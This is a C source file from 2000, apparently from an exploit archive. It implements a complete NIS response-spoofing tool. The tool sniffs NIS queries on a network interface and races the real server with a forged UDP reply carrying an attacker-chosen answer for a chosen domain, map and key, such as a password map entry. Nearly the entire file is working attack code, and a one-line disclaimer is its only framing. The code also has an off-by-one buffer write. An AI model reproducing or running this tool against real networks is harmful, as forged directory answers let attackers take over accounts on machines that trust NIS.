/* Spoof the response from a NIS server to a client.  Be nice, I'm not
 * responsible if you do illegal things with this, nor do I condone it.  I
 * just thought it was interesting and others might as well.
 
   cc `libnet-config  --cflags --defines` nis-spoof.c -lpcap \
      `libnet-config --libs` -o nis-spoof
 
   Licensed under the terms of the GPL.
 
   $Id: nis-spoof.c,v 1.1.1.1 2000/05/11 23:17:20 tschroed Exp $
 
   See http://www.zweknu.org/src/nis-spoof/ for the latest version
 
*/

#include <stdio.h>
#include <pcap.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <libnet.h>

#ifdef __OpenBSD__
#include <sys/ioctl.h>
#include <net/bpf.h>
struct pcap
  {
    int fd;
    /* Who cares what else is in there? */
  };
#endif /* __OpenBSD__ */

/* This simulates the {old|new} pcap_immediate() function.  It may not do
 * anything on some platforms. */
int my_pcap_immediate(pcap_t *p)
{
  /* Thanks to Michael T. Stolarchuk <mts@off.to> for the bit to do this and
   * lots of other info besides. */
#ifdef __OpenBSD__
  unsigned int value=1;
  struct pcap *sp=(struct pcap*)p;
  /* I don't know that this jives with what pcap_immediate() is
   * supposed to return, but the pcap man page only specifies that
   * error == -1 */
  return ioctl(sp->fd,BIOCIMMEDIATE,&value);
#else
return -1;
#endif /* __OpenBSD__ */
}


/* I'm making this stuff up.  I don't actually *know* the NIS protocol,
 * just what I get on a packet dump. */
/* Assume 32 bit arch... */
struct nisquery_st
  {
    u_int serial;
    char dragons[36]; /* I see 86a4 in all the dragons, even on Linux.
    			     I wonder what that's about. */
    u_int dom_len;
    char domainname[1024];
    u_int map_len;
    char mapname[1024];
    u_int key_len;
    char key[1024];
  };

/* More guesswork */
char voodoo[]={                             0,0,
              0,1,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,
              0,0,0,0,0,1};
struct nisresponse_st
  {
    u_int serial;
    char magic[sizeof(voodoo)];
    u_int resp_len;
    char resp[1024];
  };

#define MAC_HEADER_LEN	14
#define PACKET_SIZE	4096
#define PROMISC		1

/***************/
/* Global Vars */
/***************/

struct nisquery_st nq;
struct nisresponse_st nr;
pcap_t *sniffer;
u_short port=0;
char hostname[64],etherdev[64],key[64],map[64],domain[64];
u_char *ippacket;
int rawsock;

/***************/
/***************/
/***************/

void usage(FILE *out,char *name)
{
  fprintf(out,"Usage %s -h <host> -p <port> -r <response> -i <interface> "
          "-k <key> -m <map> -d <domain>\n",name);
}

void set_options(int argc,char **argv)
{
  char ch;

  while((ch=getopt(argc, argv, "p:h:r:i:m:d:k:"))!=-1)
    {
      switch(ch)
        {
        case 'm':
          strncpy(map,optarg,sizeof(map));
          map[sizeof(map)-1]=0;
          break;
        case 'd':
          strncpy(domain,optarg,sizeof(domain));
          domain[sizeof(domain)-1]=0;
          break;
        case 'k':
          strncpy(key,optarg,sizeof(key));
          key[sizeof(key)-1]=0;
          break;
        case 'p':
          port=atoi(optarg);
          break;
        case 'h':
          strncpy(hostname,optarg,sizeof(hostname));
          hostname[sizeof(hostname)-1]=0;
          break;
        case 'i':
          strncpy(etherdev,optarg,sizeof(etherdev));
          etherdev[sizeof(etherdev)-1]=0;
          break;
        case 'r':
          strncpy(nr.resp,optarg,sizeof(nr.resp));
          nr.resp[sizeof(nr.resp)]=0;
          nr.resp_len=strlen(nr.resp);
          nr.resp_len=htonl(nr.resp_len);
          break;
        case '?':
        default:
          usage(stderr,argv[0]);
          exit(1);
        }
    }
}
/*
int open_rawsock(void)
{
	int rawsock,val=1;
 
	if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
	{
		perror("socket");
		exit(1);
	}
	if(setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0)
	{
		perror("setsockopt");
		exit(1);
	}
	return rawsock;
}
*/
int open_rawsock(void)
{
  int rawsock;

  if(libnet_init_packet(PACKET_SIZE,&ippacket)==-1)
    {
      perror("libnet_init_packet");
      exit(1);
    }

  if((rawsock=libnet_open_raw_sock(IPPROTO_RAW))==-1)
    {
      perror("libnet_open_raw_sock");
      exit(1);
    }
  return rawsock;
}

pcap_t *open_sniffer(void)
{
  char filterstr[1024],errbuf[4096];
  pcap_t *capdev;
  struct bpf_program filter;
  int localnet=0,netmask=0;

  sprintf(filterstr,"dst host %s and udp and dst port %d",hostname,port);
  printf("Filter: \"%s\"\n",filterstr);

  if((capdev=pcap_open_live(etherdev,PACKET_SIZE,PROMISC,1,errbuf))==NULL)
    {
      fprintf(stderr,"pcap_open_live: %s\n",errbuf);
      exit(1);
    }

  if(pcap_lookupnet(etherdev,&localnet,&netmask,errbuf))
    {
      fprintf(stderr,"pcap_lookupnet: %s\n",errbuf);
      exit(1);
    }

  if(pcap_compile(capdev,&filter,filterstr,1,netmask))
    {
      pcap_perror(capdev,"pcap_compile");
      exit(1);
    }

  if(pcap_setfilter(capdev,&filter))
    {
      pcap_perror(capdev,"pcap_setfilter");
      exit(1);
    }
  my_pcap_immediate(capdev);

  return capdev;
}

/* Send a response to buf */
void send_response(char *buf,int len)
{
  int i;
  u_char ihl=4*(0xF&(u_char)buf[MAC_HEADER_LEN]);
  u_char scratch[4];
  u_short tlen,rlen,payload_len;

  buf+=MAC_HEADER_LEN;

  rlen=0xFFFF&(ntohl(nr.resp_len) +
               ((ntohl(nr.resp_len)%4)?4-(ntohl(nr.resp_len)%4):0));
  bzero(ippacket,sizeof(ippacket));

  nr.serial=nq.serial;

  bcopy(buf,ippacket,len);
  /* printf("##############################################\n"); */
  payload_len=sizeof(nr)-sizeof(nr.resp)+rlen;
  bcopy(&nr,ippacket+len,payload_len);
  tlen=len+payload_len;

  /*
  for(i=0;i<tlen;i++)
  	printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
  printf("\n");
  */

  tlen=htons(tlen);

  /* Set total length */
  bcopy(&tlen,&ippacket[2],2);
  /* Set TTL */
  ippacket[8]=24;
  /* Swap IP src/dst */
  bcopy(&ippacket[12],scratch,4);
  bcopy(&ippacket[16],&ippacket[12],4);
  bcopy(scratch,&ippacket[16],4);
  /* Swap port src/dst */
  bcopy(&ippacket[ihl],scratch,2);
  bcopy(&ippacket[ihl+2],&ippacket[ihl],2);
  bcopy(scratch,&ippacket[ihl+2],2);
  /* Set UDP len */
  payload_len+=8;
  payload_len=htons(payload_len);
  bcopy(&payload_len,&ippacket[ihl+4],2);

  tlen=ntohs(tlen);
  if(libnet_do_checksum(ippacket,IPPROTO_UDP,tlen-ihl)<0)
    {
      perror("libnet_do_checksum");
      exit(1);
    }
  /*
  for(i=0;i<tlen;i++)
  	printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
  printf("\n");
  */
  libnet_write_ip(rawsock,ippacket,tlen);
}

void framehandler(u_char *user, struct pcap_pkthdr *ph, u_char *buf)
{
  /* Let's assume a 14-byte MAC header!! :) Data offset = 14 + IHL*4
   * + 8 */
  u_char dataoffset=MAC_HEADER_LEN+4*(0xF&(u_char)buf[MAC_HEADER_LEN])+8;
  u_short datalen=ntohs((*(u_short *)&(buf[dataoffset-4]))&0xFFFF)-8;
  u_short curpos;
  int i=0;

  /*	printf("Offset: %d\nLength: %2.2x\n\n",dataoffset,datalen); */
  bzero(&nq,sizeof(nq));

  bcopy(&buf[dataoffset],&nq.serial,4);

  curpos=dataoffset+4;
  bcopy(&buf[curpos],&nq.dragons,sizeof(nq.dragons));
  curpos+=sizeof(nq.dragons);

  nq.dom_len=ntohl((*(u_int *)&(buf[curpos])));
  curpos+=4;
  bcopy(&buf[curpos],nq.domainname,nq.dom_len);
  curpos+=nq.dom_len;
  if(nq.dom_len%4)
    curpos+=4-(nq.dom_len%4);
  nq.domainname[nq.dom_len]=0;

  nq.map_len=ntohl((*(u_int *)&(buf[curpos])));
  curpos+=4;
  bcopy(&buf[curpos],nq.mapname,nq.map_len);
  curpos+=nq.map_len;
  if(nq.map_len%4)
    curpos+=4-(nq.map_len%4);
  nq.mapname[nq.map_len]=0;

  nq.key_len=ntohl((*(u_int *)&(buf[curpos])));
  curpos+=4;
  bcopy(&buf[curpos],nq.key,nq.key_len);
  curpos+=nq.key_len;
  if(nq.key_len%4)
    curpos+=4-(nq.key_len%4);
  nq.key[nq.key_len]=0;

  if(!strcmp(nq.key,key) &&
      !strcmp(nq.mapname,map) &&
      !strcmp(nq.domainname,domain))
    {
      fprintf(stderr,"Match: %s %s [%s]\n"
              ,nq.key,nq.mapname,nq.domainname);
      send_response(buf,dataoffset-14);
    }
}

int main(int argc, char **argv)
{
  set_options(argc,argv);
  if(hostname[0]==0 || port==0 || etherdev[0]==0 || nr.resp_len==0
      || key[0]==0 || map[0]==0 || domain[0]==0)
    {
      printf("Hostname: %s\n",hostname);
      printf("Port: %d\n",port);
      printf("Interface: %s\n",etherdev);
      printf("Response: %s\n",nr.resp);
      usage(stderr,argv[0]);
      exit(1);
    }
  sniffer=open_sniffer();
  rawsock=open_rawsock();
  printf("Answering queries for %s:%d\n",hostname,port);
  bcopy(voodoo,&nr.magic,sizeof(voodoo));
  pcap_loop(sniffer,0,framehandler,NULL);
  return 0;
}
/*                    www.hack.co.za           [14 May 2000]*/